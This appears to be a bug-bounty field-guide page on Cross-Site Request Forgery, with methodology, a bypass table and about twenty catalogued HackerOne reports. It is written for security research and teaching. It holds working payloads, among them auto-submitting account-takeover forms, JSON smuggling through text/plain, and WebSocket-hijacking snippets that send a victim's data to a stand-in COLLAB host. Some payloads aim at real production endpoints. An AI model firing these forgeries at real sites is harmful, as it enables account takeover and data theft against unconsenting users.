⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Cross-Site Request Forgery (CSRF)
Vulnerabilities

Cross-Site Request Forgery (CSRF)

§Basic information

Cross-Site Request Forgery (CSRF) abuses the browser's habit of auto-attaching ambient credentials — session cookies, HTTP Basic headers, saved OAuth sessions — to a request the victim never intended to make. If a state-changing endpoint authenticates purely on that ambient credential and never checks an unguessable, session-bound per-request token (or the request's Origin), an attacker page can forge the request in the victim's session.

The mechanism is entirely about what the browser sends automatically. An attacker cannot read the cross-origin response (the Same-Origin Policy stops that), so blind CSRF is only useful when the side effect is the win — an email rebind, a password set, an account link. That is why CSRF is rarely "just a forged action": the highest-value corpus outcomes are all account takeover and account-linking primitives, not novelties. Treat every state-changing endpoint as a CSRF target and every CSRF as a candidate ATO chain.

§Methodology

  1. Capture a baseline. Proxy a real, working state-changing request (profile edit, password change, OAuth link callback, GraphQL mutation) in Burp.
  2. Confirm the credential is ambient. Is auth a cookie / HTTP Basic / a saved OAuth session that the browser re-sends cross-site? If auth is a bearer token in a header/body the app sets via JS, it is not CSRF-able.
  3. Subtract the token. Delete the anti-CSRF param and header, replay. Success == no server-side enforcement (baseline CSRF).
  4. If a token is enforced, attack the token (see Bypasses): cross-session reuse, double-submit with an attacker value, static/non-rotating, reversible, leaked (XSSI/Referer), or simply present-but-not-validated.
  5. Probe the transport guard. Strip Origin entirely (missing ≠ mismatch), send Content-Type: text/plain (does it still parse as JSON? → CORS "simple request", no preflight), try _method=PUT|DELETE, try the mutation over GET.
  6. Pick the delivery that fits the endpoint (form / XHR / text/plain smuggle / GET) and weaponize to impact — never stop at "the request succeeded"; drive it to email/password change, account link, or a stored-XSS write.
▸ TIP
The fastest, highest-signal test is subtractive: remove the token and replay. A large share of resolved CSRF reports are exactly this — the guard was never enforced server-side (#834366, #7870, #334139).

§Delivery techniques

Pick the one the endpoint accepts. The default is an auto-submitting form; escalate to XHR/fetch only when a form's Content-Type/method can't reach the endpoint.

Auto-submitting HTML form

The canonical delivery — needs zero victim interaction. history.pushState hides the attacker URL. A form can only send application/x-www-form-urlencoded, multipart/form-data, or text/plain.

<!-- Profile edit changes email+password in one POST -> ATO (#2699029) --> <form action="https://TARGET/account/profile/edit" method="POST"> <input type="hidden" name="username" value="hacker"> <input type="hidden" name="password" value="ATTACKER_PASS"> <input type="hidden" name="cpassword" value="ATTACKER_PASS"> <input type="hidden" name="email" value="attacker@COLLAB"> <input type="hidden" name="save" value="Save"> </form> <script>history.pushState('','','/');document.forms[0].submit();</script>

Credentialed XHR / fetch

When a form can't shape the request but the endpoint is same-origin-reachable or CORS-permissive, use withCredentials. You won't read the response — the side effect is the payload.

// Email rebind on an unconfirmed account -> password reset -> ATO (#419891) var x = new XMLHttpRequest(); x.open('POST', 'https://TARGET/signup/email', true); x.withCredentials = true; x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); x.send('email=' + encodeURIComponent('attacker@COLLAB'));

JSON smuggling via text/plain enctype

Many JSON APIs never enforce Content-Type. A form with enctype="text/plain" sends an arbitrary body without triggering a CORS preflight — so it is cross-site deliverable. Split the JSON across the field name/value so the wire body reconstructs to valid JSON.

<!-- Wire body becomes: {"user":"avnadmin","password":"PW","dummy":"="} -> login CSRF (#1458236) --> <form enctype="text/plain" action="https://ATTACKER-INSTANCE/login" method="POST"> <input name='{"user":"avnadmin","password":"PW","dummy":"' value='"}'> </form> <svg onload=document.forms[0].submit()>

CORS "simple request" (no-cors + text/plain)

fetch/XHR with only simple headers (Content-Type: text/plain) and a simple method is a CORS "simple request": the browser sends it cross-site with credentials and no preflight. If the API parses the text/plain body as JSON, the request lands.

// API ignores Content-Type, parses body as JSON -> create malicious resource (#2326194) // no-cors keeps it a "simple request": text/plain is a CORS-safelisted Content-Type, // so the credentialed POST fires cross-site with no preflight. fetch('https://argocd.internal.VICTIM.com/api/v1/applications', { method: 'POST', mode: 'no-cors', credentials: 'include', headers: { 'Content-Type': 'text/plain' }, body: '{"kind":"Application","spec":{"repoURL":"https://COLLAB/manifests"}}' });

GET / method-override downgrade

If the state change is reachable over GET, no form or token dance is needed — an <img>/<script src>/navigation fires it. GraphQL mutations sent as GET often dodge the X-CSRF-Token middleware entirely. A hidden _method field reaches PUT/PATCH/DELETE from a plain POST form.

<!-- GET-reachable mutation: no CSRF token checked on the GET path (#1122408) --> <img src="https://TARGET/graphql?query=mutation{deleteThing(id:1){ok}}"> <!-- _method override reaches DELETE from a simple form (#195156) --> <form action="https://TARGET/admin/products/123.json" method="POST"> <input type="hidden" name="_method" value="delete"> </form>

OAuth/OpenID link callbacks carry a single-use code the attacker generates. Capture the attacker's own callback, drop the request so the code is never consumed, then deliver that URL/form to the victim. The victim's account is bound to the attacker's identity → attacker logs in as the victim.

# Attacker's own captured callback, dropped-then-replayed against the victim (#423022) GET /auth/yahoo/callback?_method=post&openid.mode=id_res&openid.identity=...&openid.sig=... HTTP/1.1 Host: TARGET

Cross-Site WebSocket Hijacking (CSWSH)

A WebSocket handshake is an HTTP Upgrade request that carries cookies but is not subject to the Same-Origin Policy on the response. If the server doesn't validate the Origin header on the handshake, an attacker page opens the socket in the victim's session and reads/writes the full bidirectional stream.

// Missing Origin check on the WS handshake -> read the victim's live stream (#535436) var ws = new WebSocket('wss://TARGET/socket'); ws.onmessage = e => navigator.sendBeacon('https://COLLAB/', e.data);
▲ WARNING
SameSite=Lax (now the browser default) is not the control — it still permits top-level navigation POSTs, and any same-site subdomain you control (via XSS or subdomain takeover) sends the cookie. On shared *.vendor.com multi-tenant platforms, attacker and victim are same-site, so Lax is defeated outright (#2326194, #1458236). Keep a token.

§Bypasses

Filter / controlBypassSeen in
Token present but unenforcedGuard exists but is never validated server-side — remove token, still works#834366
Token not bound to sessionCross-session token accepted; double-submit only compares attacker cookie to attacker field#2513333
Static / non-rotating tokenAnti-CSRF token never rotates → captured once, replayable forever#807924
Reversible per-form tokenRails per-form token forged from authenticity_token (CVE-2020-8166)#732415
API auth exempt from tokenBasic-Auth Authorization auto-sent cross-site; API path skips token; _method reaches PUT/DELETE#195156
Empty-string vs null headergetHeader('Authorization') returns '' not null, mis-firing the "is-API" CSRF exemption#2041007
Method downgradeState-changing GraphQL mutation reachable via GET, bypassing X-CSRF-Token#1122408
state byte-mismatchAppend %00 to OAuth state; validation and consumption disagree on where the value ends#1046630
Cookie injectionGA __utmz + Django cookie-parser treats [ \ ]/comma as delimiters → plant a chosen csrftoken#26647
SameSite=LaxSame-site sibling subdomain (XSS/takeover) sends the Lax cookie; shared *.vendor.com is same-site#2326194
CORS preflightContent-Type: text/plain no-cors "simple request"; API parses the body as JSON anyway#1353103
Cross-window token readwindow.open the flow, read the OAuth crumb/confirm-form from the popup DOM, auto-submit#172289
Token leak (XSSI)Anti-CSRF/state token embedded in a script-includable JS global, read cross-origin#127703
Token leak (Referer)Reset/state token in the URL leaks via Referer to an off-site resource, then reused#738
Missing Origin check (WS)WebSocket handshake Origin unvalidated → Cross-Site WebSocket Hijacking#535436
● NOTE
When a state/CSRF fix "looks in place," retest it with byte-level mutations — trailing null byte (%00), whitespace, case change, duplicated params, truncation. Validation and consumption layers routinely disagree on where a value ends, re-opening a patched CSRF (#1046630).

§Escalation & impact

CSRF is an entry/delivery primitive; nearly all corpus value is in the chain.

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 144 in this class.

Real-world example

Set-password CSRF on social-login accounts with no current-password check

◆ Critical
Specimen #442901 · khanacademy · none · 183 votes · resolved
Program khanacademySurface webChain CSRF set-password -> full account takeoverTag account-takeoverTag oauth

Root cause

Accounts created via Google/Facebook have no existing password, so the set-password endpoint skips the current-password gate and its CSRF check is broken -> an attacker sets a known password on the victim's account.

Method

  1. Create an account via Google/Facebook (no password set)
  2. Serve the victim an auto-submitting form that POSTs a new password to the set-password endpoint
  3. Log in with email + ATTACKER_PASS
<!-- auto-submitting form POSTing password=ATTACKER_PASS to the set-password endpoint; no CSRF token, no current-password field -->

Insight — Social-login accounts are a prime CSRF/ATO target: because there is no existing password, 'set password' endpoints often drop both the current-password re-auth and CSRF token. Always test set/change-password flows specifically on OAuth-created accounts.

Real-world example

GraphQL CSRF via session cookie (no anti-CSRF on GraphQL)

◆ Critical
Specimen #2312217 · enjin · 1500 · 59 votes · resolved
Program enjinSurface graphqlTag graphql

Root cause

A GraphQL endpoint authenticated purely by a session cookie applied no CSRF token or Origin/Content-Type check, so a cross-site request could invoke sensitive mutations (revoke API token).

Method

  1. Confirm GraphQL endpoint accepts cookie-authenticated requests
  2. Craft an off-site auto-submitting HTML form posting the GraphQL query/mutation
  3. Load in victim's authenticated browser to force the mutation

Insight — GraphQL over cookie auth is a frequently-missed CSRF surface. Test whether the GraphQL endpoint accepts application/x-www-form-urlencoded / text/plain bodies or GET queries without a CSRF token.

Real-world example

Improper CSRF/state validation in embedded-integration OAuth flow links victim to attacker

◆ High
Specimen #1727221 · security · awarded · 166 votes · resolved
Program securitySurface webChain Integration-link CSRF -> Tray GraphQL raw_http_request -&Tag oauthTag graphql

Root cause

In the Tray.io-backed integration OAuth flow, the CSRF token passed to the oauth2/auth step is not properly validated, so an attacker's pre-generated auth link binds the victim's third-party integration (GitHub/Jira/etc.) to the attacker's account.

Method

  1. As attacker, begin setting up an integration and capture the GET oauth2/auth/<AuthID>?csrf=...&scope=...&session=... request
  2. Drop it (do not consume) and send the URL to the victim
  3. Victim clicks; if already authorized to the provider, no consent prompt appears and the integration is silently linked to the attacker's account
  4. Attacker uses Tray's GraphQL CallConnector to make arbitrary authenticated calls to the victim's provider API
https://hackerone.integration-authentication.com/oauth2/auth/<AuthID>?csrf=F_Sr5vd7hWMLSkZoubYOTMbwROI922ZU6q1S4fEF43E=&scope=read:org%20repo&session=1iydW3sIKpyTGxhG8lxeWY9ddzaUknoUJT9Rr51ptMc=

Insight — When an OAuth/integration flow carries its own csrf and session tokens in the URL, test whether the backend actually binds them to the victim's session. If the auth step accepts an attacker-generated csrf/session pair, one victim click links their app to the attacker. Post-exploitation often rides a vendor GraphQL proxy (CallConnector) giving raw API access.

Real-world example

OAuth 'connect' initiation lacks CSRF token, relying on third-party state

◆ High
Specimen #170552 · security · USD 2500 · 149 votes · resolved
Program securitySurface webTag oauthTag account-takeover

Root cause

The integration/OAuth flow starts at GET /auth/slack with no anti-CSRF token; the whole flow trusts the third party's state parameter, so any XSS/login-CSRF/clickjacking in the provider lets an attacker complete the flow and connect their own account.

Method

  1. Observe GET /auth/slack redirects to the provider with only a state param and no local CSRF token
  2. Force the victim to initiate the connect flow (CSRF the start), then drive the provider callback to attach the attacker's external account
GET https://hackerone.com/auth/slack HTTP/1.1 -> 302 Location: https://slack.com/oauth/authorize?client_id=...&redirect_uri=.../auth/slack/callback&response_type=code&scope=incoming-webhook&state=379fd8f1...

Insight — Protect the START of an OAuth connect flow with your own CSRF token; don't outsource CSRF safety to the provider's state. Adding a post-flow confirmation dialog (Phabricator-style) blocks silent linking. As integrations grow (and especially if login-with-provider is added), this pattern escalates to ATO.

Real-world example

Cross-Site WebSocket Hijacking (missing Origin check on handshake)

◆ High
Specimen #535436 · superhuman · 800 · 134 votes · resolved
Program superhumanSurface webTag corsTag account-takeover

Root cause

The WebSocket handshake (which carries the session cookie) does not validate the Origin header and there is no per-message CSRF token, so an attacker page can open an authenticated wss connection and read/write full-duplex.

Method

  1. Find wss endpoints in Burp's WebSocket history (e.g. /collab/?params=...&transport=websocket)
  2. Confirm no Origin check by connecting from a different origin (Simple WebSocket Client) and receiving server data
  3. Host a malicious page that opens the same wss URL; victim's cookie authenticates it
  4. Send messages to read/modify data (CSRF over WS)
var ws = new WebSocket('wss://TARGET/documentsCollab/DOCID/collab/?params=BASE64&EIO=3&transport=websocket'); ws.onmessage = e => fetch('https://COLLAB/?d='+btoa(e.data)); ws.onopen = () => ws.send('<state-changing message>');

Insight — For any WebSocket app, replay the handshake with a foreign/absent Origin; if the 101 upgrade succeeds with the cookie, it's CSWSH. Defenses are Origin check on handshake or a CSRF token per message.

Real-world example

CSRF middleware bypass: missing header read as empty string, not null

◆ High
Specimen #2041007 · owncloud · none · 111 votes · resolved
Program owncloudSurface webChain CSRF -> create admin account / arbitrary file shareTag account-takeover

Root cause

SecurityMiddleware skips CSRF enforcement when it believes the request is an API/Authorization-based call; request->getHeader('Authorization') returns '' (empty string) rather than null when absent, so the guard condition mis-fires and the requesttoken is never required.

Method

  1. Run the vulnerable app version, log in as admin, capture cookies
  2. Replay any state-changing POST WITHOUT the requesttoken header, cookies only
  3. e.g. create an admin user; request succeeds because CSRF check was skipped
curl 'http://localhost:8080/settings/users/users' \ -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ -H 'Cookie: oc_sessionPassphrase=<p1>; oclt1tejv3yd=<p2>' \ -H 'Origin: http://abc:8080' \ --data-raw 'username=new_admin&groups%5B%5D=admin&password=a&email=test%40mail.com'

Insight — CSRF guards that exempt 'API requests' by checking for an Authorization header are often bypassable: many frameworks return an empty string for a missing header, so `if (header != null)` (or truthy checks that differ from the intended semantics) let a cookie-only browser request slip through. Always test state-changing endpoints with the CSRF token/header simply removed.

Real-world example

CSRF to change unconfirmed email -> password reset -> ATO

◆ High
Specimen #419891 · khanacademy · none · 109 votes · resolved
Program khanacademySurface webChain CSRF email change -> password reset -> account takeoveTag account-takeover

Root cause

The /signup/email endpoint lets an authenticated user change the account email while it is still unconfirmed, without an anti-CSRF token or header validation; an attacker rebinds the victim's email then resets the password.

Method

  1. Lure a logged-in user with an unconfirmed email to an attacker page
  2. Page fires a credentialed XHR POST to /signup/email setting email=attacker@evil
  3. Attacker performs password reset on the now-attacker-owned email -> ATO
var x=new XMLHttpRequest(); x.open('POST','https://www.khanacademy.org/signup/email',true); x.withCredentials=true; x.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); x.send('email='+encodeURIComponent('attacker@rapidlight.io'));

Insight — Email-change endpoints that skip re-auth for 'unconfirmed' accounts are a reliable CSRF->ATO primitive, and they enable mass, un-targeted attacks (no need to know the victim's email/ID). Test every email-change path with the CSRF token removed, especially in the pre-confirmation state.

Real-world example

Social-account link CSRF via unprotected GET OAuth callback -> ATO

◆ High
Specimen #423022 · discourse · awarded · 88 votes · resolved
Program discourseSurface webChain Account-link CSRF -> login as victim -> full account tTag oauthTag account-takeover

Root cause

The 'connect Yahoo' account-linking flow uses a GET callback (openid/oauth) with no CSRF token or Origin check; feeding the victim the attacker's captured callback request links the attacker's identity to the victim's account, enabling login-as-victim.

Method

  1. As attacker, start 'connect Yahoo', intercept and capture the /auth/yahoo/callback GET containing the attacker's auth token
  2. Drop the request so the token is not consumed
  3. Deliver that URL/form to the authenticated victim; victim's account is linked to the attacker's Yahoo
  4. Attacker logs in with Yahoo -> victim's account
GET /auth/yahoo/callback?_method=post&openid.mode=id_res&openid.claimed_id=...&openid.identity=...&openid.ax.value.email=testhackeroneay%40yahoo.com&openid.sig=... HTTP/1.1 Host: try.discourse.org

Insight — Account-linking callbacks are the classic CSRF->ATO factory: if the link step is a GET or lacks a per-session CSRF token, capture the attacker's OAuth/OpenID callback, drop it to preserve the single-use token, then replay it against the victim. Fix is an anti-CSRF token bound to the initiating session.

Real-world example

No anti-CSRF token on profile-edit -> single form changes email+password (ATO)

◆ High
Specimen #2699029 · deptofdefense · none · 87 votes · resolved
Program deptofdefenseSurface webChain CSRF -> change email+password -> account takeoverTag account-takeover

Root cause

The /account/profile/edit endpoint enforces no CSRF token, and one POST updates username, email and password together, so an auto-submitting cross-site form takes over the account.

Method

  1. Register and log in (email verification can be skipped)
  2. Confirm profile edit accepts requests with no CSRF token in Burp
  3. Serve the auto-submitting form; victim visit rewrites their email+password
<form action="https://TARGET/account/profile/edit" method="POST"> <input type="hidden" name="username" value="hacker"/> <input type="hidden" name="password" value=""/> <input type="hidden" name="cpassword" value=""/> <input type="hidden" name="email" value="attacker@evil.com"/> <input type="hidden" name="save" value="Save"/> </form> <script>history.pushState('','','/');document.forms[0].submit();</script>

Insight — The bread-and-butter CSRF->ATO: any profile/settings endpoint that changes email or password in one request and lacks a token is a full takeover. Test by simply deleting the CSRF token/param and resubmitting; also seen on GET-based state-changing endpoints (linked-account disable, admin runner control, resource deletion).

Real-world example

GraphQL CSRF: mutations via GET bypass the X-CSRF-Token check

◆ High
Specimen #1122408 · gitlab · USD 3370 · 86 votes · resolved
Program gitlabSurface apiTag graphql

Root cause

The GraphQL endpoint requires X-CSRF-Token only on POST; it also executes mutations sent as GET requests (query/variables as query-string params), and GET is not CSRF-checked -> browser-forgeable mutations.

Method

  1. Take a mutation normally sent as POST with X-CSRF-Token
  2. Re-send it as a GET form to /api/graphql/ with query and variables as parameters (no token)
  3. Auto-submit from an attacker page; the mutation executes in the victim's session
<form action="https://gitlab.com/api/graphql/" id="f" method="GET"> <input name="query" value="mutation CreateSnippet($input: CreateSnippetInput!){createSnippet(input:$input){errors snippet{webUrl}}}"> <input name="variables" value='{"input":{"title":"x","description":"y","visibilityLevel":"public","blobActions":[{"action":"create","previousPath":"readme.md","content":"z","filePath":"readme.md"}],"projectPath":""}}'> </form> <script>f.submit()</script>

Insight — On GraphQL, always test whether the endpoint accepts GET and whether it runs mutations over GET. Many stacks enforce CSRF tokens only on POST; a GET-executable mutation is a token-free CSRF. Also try dropping the token entirely and switching content-type. Fix requires CSRF checks on GET too (or refusing mutations over GET).

Real-world example

SameSite=Strict bypass via browser 'Open in Split View' dropping Sec-Fetch-Site

◆ High
Specimen #3253725 · brave · awarded · 73 votes · resolved
Program braveSurface web

Root cause

A browser navigation entry point (Split View / special open-link actions) performs a cross-site navigation without emitting the Sec-Fetch-Site: cross-site metadata, so the cookie layer treats it as same-site and sends SameSite=Strict cookies cross-site.

Method

  1. Host a cross-domain link on an attacker page.
  2. Have the victim open it via the non-standard navigation (e.g. 'Open Link in Split View').
  3. Observe that SameSite=Strict cookies for the target are sent despite the cross-site context -> CSRF/authenticated request.
<a href='https://TARGET' target='_blank'>click</a> <!-- then: right-click -> Open Link in Split View -->

Insight — SameSite enforcement in Chromium relies on correctly-populated Sec-Fetch-Site. Audit every alternate navigation path (split view, new-tab-group, PIP, prerender, side panel) for missing/incorrect Sec-Fetch-* headers; any that drops it silently defeats SameSite=Strict CSRF protection.

Real-world example

GraphQL over GET enables CSRF; permissive CORS enables data theft

◆ High
Specimen #998457 · enjin · 300 · 44 votes · resolved
Program enjinSurface graphqlChain GraphQL-over-GET CSRF + permissive CORS -> act and read aTag graphqlTag cors

Root cause

The GraphQL interface accepted queries via GET (no CSRF token / simple request), and overly-broad CORS rules let attacker origins read responses, so functions could be executed and data read on behalf of a victim.

Method

  1. Confirm the GraphQL endpoint answers GET requests (query in the URL)
  2. Craft a GET-based CSRF (or cross-origin fetch) for a state-changing/query operation
  3. Because GET needs no token and CORS is permissive, the victim's browser executes it with their session
  4. Read the cross-origin response / observe the action
# CSRF via GET GraphQL (no token): GET /graphql?query={ me { email } } HTTP/1.1 Host: target Cookie: <victim session>

Insight — Whenever GraphQL (or any mutating API) accepts GET, you get free CSRF and often cache/log exposure; combined with reflected/permissive CORS it becomes cross-origin read+act. Fix is POST-only + strict CORS - so always test the GET variant.

Real-world example

SameSite-Lax bypass via same-site subdomain + text/plain preflight skip

◆ High
Specimen #2326194 · ibb · 4660 · 34 votes · resolved
Program ibbSurface webChain Same-site XSS/subdomain -> CSRF create Argo Application -Tag cors

Root cause

SameSite=Lax cookies are still sent to a parent/same-site origin, so HTML on any *.victim.com subdomain (e.g. via XSS/takeover) can target the app; setting Content-Type: text/plain avoids the CORS preflight, and the API (Argo CD) does not enforce content type, so a JSON body is accepted.

Method

  1. Obtain script execution / HTML on any same-site subdomain
  2. fetch() the API with credentials:'include', mode:'no-cors', Content-Type text/plain
  3. Send JSON body creating a malicious Application (points repoURL at attacker manifests)
  4. Argo CD deploys a privileged pod -> reverse shell / cluster takeover
var x=new XMLHttpRequest();x.open('POST','https://argocd.internal.victim.com/api/v1/applications'); x.setRequestHeader('Content-Type','text/plain');x.withCredentials=true; x.send('{"apiVersion":"argoproj.io/v1alpha1","kind":"Application","metadata":{"name":"test-app1"},"spec":{..."repoURL":"https://github.com/attacker/argotest",...}}');

Insight — SameSite=Lax is NOT anti-CSRF when you control a same-site subdomain. The reusable primitive: Content-Type text/plain (a CORS 'simple request') skips preflight, and any API that doesn't enforce Content-Type will parse the text as JSON. Test internal apps hosted on shared parent domains.

Real-world example

Site-wide missing CSRF tokens on account settings

◆ High
Specimen #951292 · automattic · awarded · 32 votes · resolved
Program automatticSurface webChain CSRF email change -> password reset -> account takeove

Root cause

Account-management state-changing endpoints have no CSRF token and no other anti-CSRF check, so cross-site requests can change email, delete a card, etc.

Method

  1. Log in and capture an account-settings state-changing request (e.g. change email)
  2. Remove the token / replay from another origin - it still succeeds
  3. Host an auto-submitting form to perform the action on a victim
<form action="https://magazine.atavist.com/cms/change_email" method="POST"> <input name="email" value="attacker@evil.com"> </form> <script>document.forms[0].submit()</script>

Insight — Test every account-settings action for CSRF by dropping the token and by cross-origin replay; email change chains to account takeover. Sequential user IDs in the same request hint at further IDOR.

Real-world example

Cross-Site WebSocket Hijacking via Origin allow-list parser bypass

◆ High
Specimen #931197 · nodejs-ecosystem (socket.io) · none · 27 votes · resolved
Program nodejs-ecosystem (socket.io)Surface webTag cors

Root cause

socket.io 2.3.0 validated the WebSocket Origin against an allow-list with naive string logic; browsers accept special chars (backtick, $) in host names, so an origin like localhost`evil.io or http://localhost$evil.io is served by the attacker's domain yet passes the server check as 'localhost'.

Method

  1. Confirm the WS server enforces an Origin allow-list (io.origins([...])).
  2. Register/serve from a host containing a special char after the allowed value, e.g. localhost`evil.io or localhost$evil.io.
  3. Open a WS from that origin; server treats it as allowed and CSWSH succeeds (send/receive messages as the victim).
// allowed: http://localhost:80 // attacker-controlled origins that the parser accepts as 'localhost': Origin: http://localhost`evil.io Origin: http://localhost$evil.io

Insight — Origin allow-list checks are string parsing and drift from browser URL parsing. Test host-parsing confusion chars (backtick, $, \, @, whitespace, unicode) to make an attacker domain satisfy a same-origin/allow-list check - applies to WS Origin, CORS reflection, and cookie-scope logic.

Real-world example

SameSite=Lax bypass via sibling subdomain (login CSRF + SSRF) - CVE-2022-21703

◆ High
Specimen #1458236 · aiven_ltd (Grafana) · awarded · 27 votes · resolved
Program aiven_ltd (Grafana)Surface webChain login CSRF -> attacker-instance SSRF -> same-site CSRFTag ssrf

Root cause

Grafana set grafana_session with SameSite=Lax; because attacker and victim instances share a parent domain (*.aivencloud.com) the request is same-site, so Lax does not block it. The attacker chains login-CSRF into their own instance then a Grafana SSRF datasource proxy to fire a top-level, cookie-bearing cross-origin POST at the victim instance.

Method

  1. Stand up an attacker instance on a sibling subdomain of the same parent domain as the victim.
  2. Login-CSRF the victim into the attacker instance (enctype=text/plain JSON-smuggling form + svg onload auto-submit).
  3. Create an SSRF datasource on the attacker instance whose proxy triggers a top-level navigation POST to the victim instance; SameSite=Lax permits it because both are same-site.
  4. POSTs (create admin user via /api/org/invites, create dashboard) execute with the victim's grafana_session.
// login CSRF (text/plain JSON smuggling) <form enctype="text/plain" action="${att}/login" method=POST> <input name='{"user":"avnadmin","password":"PW","dummy":"' value='"}'></form> <svg onload=document.forms[0].submit()> // then cross-origin, credentialed: fetch(`${victim}/api/org/invites`,{method:'POST',mode:'no-cors',credentials:'include',headers:{'Content-Type':'text/plain; application/json'},body:JSON.stringify({role:'Admin',loginOrEmail:'attacker@example.com'})})

Insight — SameSite=Lax is NOT CSRF protection when the attacker can run code on any sibling subdomain of the cookie's registrable domain - shared multi-tenant *.vendor.com platforms are same-site. Also: text/plain enctype smuggles JSON bodies past CORS preflight, and Lax still allows top-level navigation POSTs.

Real-world example

CSRF via GET transfer-code link (domain hijack incl. DNS)

◆ High
Specimen #416978 · shopify · awarded · 23 votes · resolved
Program shopifySurface web

Root cause

An inter-store domain transfer was driven entirely by a transfer_code carried in a GET URL with no per-user CSRF/ownership check, so forcing a logged-in victim's browser to hit the admin transfer endpoint attaches the attacker's domain — and its full DNS/MX/forwarder records — to the victim's store.

Method

  1. Request a transfer of an attacker-owned domain and grab the emailed transfer link (login?redirect=settings/domains/initiate_inter_shop_domain_transfer?transfer_code=...)
  2. Rewrite it to hit the victim store admin path directly: https://victimstore.myshopify.com/admin/settings/domains/initiate_inter_shop_domain_transfer?transfer_code=...
  3. Embed as an <img> or auto-open in the victim's authenticated session
  4. Domain plus its DNS records land in the victim store
<img src="https://victimstore.myshopify.com/admin/settings/domains/initiate_inter_shop_domain_transfer?transfer_code=6fa6d18a-d2d1-4114-b11e-236b20f81398">

Insight — Confirmation/transfer links that carry only a state-changing token in a GET are CSRF sinks; strip any login?redirect= wrapper and point the browser straight at the underlying admin path.

Real-world example

Persistent (stored) CSRF poisons cart -> permanent purchase DoS

◆ High
Specimen #206319 · starbucks · awarded · 22 votes · resolved
Program starbucksSurface web

Root cause

An unprotected GiftCert-AddToBasket POST let an attacker add a gift certificate to a victim's server-side cart; the poisoned cart permanently removed the credit-card payment option, blocking all future purchases and surviving logout/cart-clear.

Method

  1. Find the unprotected Demandware GiftCert-AddToBasket endpoint
  2. Auto-submit a cross-site form adding a gift certificate to the victim cart
  3. Victim's cart can no longer be emptied and the credit-card payment method disappears permanently
<form method="POST" action="http://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/GiftCert-AddToBasket"> <input name="dwfrm_giftcert_purchase_from" value="Test"> <input name="dwfrm_giftcert_purchase_recipient" value="Test"> <input name="dwfrm_giftcert_purchase_recipientEmail" value="valid@iamvalid.com"> <input name="dwfrm_giftcert_purchase_confirmRecipientEmail" value="valid@iamvalid.com"> <textarea name="dwfrm_giftcert_purchase_message">Bla</textarea> <input name="dwfrm_giftcert_purchase_amount" value="100"> </form>

Insight — CSRF that writes to durable server-side state (cart, saved items, profile) becomes a lasting DoS; hunt for state that survives logout and blocks a core revenue flow rather than one-shot actions.

Real-world example

Login CSRF (session-fixation) via session_id in request body

◆ High
Specimen #293016 · unikrn · awarded · 17 votes · resolved
Program unikrnSurface apiChain login CSRF -> victim operates inside attacker account -&gTag account-takeover

Root cause

API endpoints accepted session_id in the request body and reflected it into a Set-Cookie response, so a cross-site POST carrying the attacker's session_id silently logs the victim into the attacker's account.

Method

  1. Attacker logs in and grabs their session_id (CW cookie value)
  2. Craft a CSRF form POSTing session_id=ATTACKER_SESSION to /apiv1/
  3. Victim (logged out) visits, then browses the site now authenticated as the attacker
<form action="https://unikrn.com/apiv1/" method="POST"> <input type="hidden" name="session_id" value="ATTACKER_SESSION_ID"> </form> <script>document.forms[0].submit()</script>

Insight — Login/session endpoints that set the session from a request parameter are login-CSRF sinks; logging the victim into an attacker-controlled account harvests their subsequent activity/PII or sets up social-engineering. Classic variant: a login form with no CSRF token (#774, Phabricator) directly authenticates the victim as the attacker.

Real-world example

Widespread CSRF: CORS is not a CSRF defense, no SameSite, JSON accepts form-urlencoded

◆ High
Specimen #1309435 · upchieve · none · 17 votes · resolved
Program upchieveSurface apiTag cors

Root cause

Session cookies lacked SameSite and endpoints had no CSRF tokens; a permissive CORS allowlist gave false comfort (it only blocks response reads, not the request), so blind cross-site POSTs performed sensitive actions across the app.

Method

  1. Confirm session cookie has no SameSite and no CSRF token is required
  2. Send state-changing POSTs from an attacker page as application/x-www-form-urlencoded (accepted even though app uses JSON)
  3. Perform calendar changes, quiz submissions, reference requests, password-reset sends blindly
<form action="https://TARGET/api/calendar/save" method="POST"> <input type="hidden" name="availability[Sunday][12a]" value="true"> <input type="hidden" name="tz" value="Asia/Singapore"> </form> <script>document.forms[0].submit()</script>

Insight — CORS never prevents CSRF — it only stops the attacker reading the response. If the session cookie has no SameSite and there is no token, every state-changing POST is exploitable even for JSON APIs (resend as x-www-form-urlencoded); old browsers may even let non-simple methods (PUT) through.

Real-world example

CSRF to add attacker as account 'provider' -> account takeover

◆ High
Specimen #141344 · drchrono · awarded · 7 votes · resolved
Program drchronoSurface apiChain CSRF add provider -> attacker linked -> full account aTag account-takeover

Root cause

A state-changing API endpoint that grants access (adds a 'provider'/authorized entity with the attacker's email) did not validate the CSRF token, so a forged cross-site POST silently attaches the attacker to the victim's account.

Method

  1. Identify an endpoint that adds an authorized party/email to the account (here POST /api/v3/providers)
  2. Host an auto-submitting form POSTing attacker email/details to it
  3. Victim (logged in) visits attacker page; attacker is added as a provider and gains access to the victim's records/account
<form action="https://onpatient.com/api/v3/providers" method="POST"> <input name="patient" value="VICTIM_ID"> <input name="name" value="attacker"> <input name="email" value="attacker@evil.com"> </form> <script>document.forms[0].submit()</script>

Insight — 'Add authorized entity' endpoints (providers, delegates, team members, sharing/ACL grants) are high-value CSRF sinks: they convert a single forged request into persistent account access. Confirmed real by the fix returning 403 {"detail":"CSRF Failed"}. Test every add-collaborator/add-recipient action for token enforcement.

Real-world example

User-invitation via GET -> CSRF grants attacker internal access

◆ High
Specimen #323975 · pingidentity · awarded · 4 votes · resolved
Program pingidentitySurface webTag account-takeover

Root cause

The invite-user action is a GET request with no CSRF protection, so an attacker can force an admin to invite the attacker's email into the org, gaining internal access.

Method

  1. Identify the invite endpoint as a GET with email params
  2. Serve it to a logged-in admin via CSRF
  3. Attacker email is invited into the org/tenant
<img src="https://ort-admin.pingone.com/web-portal/ajax/user/directory/inviteuser/?alternate_email=attacker@evil.com&email=attacker@evil.com">

Insight — Invite/add-member endpoints are high-impact CSRF: instead of destroying data you grant YOURSELF a foothold inside the victim org. Always check whether user provisioning is a tokenless GET.

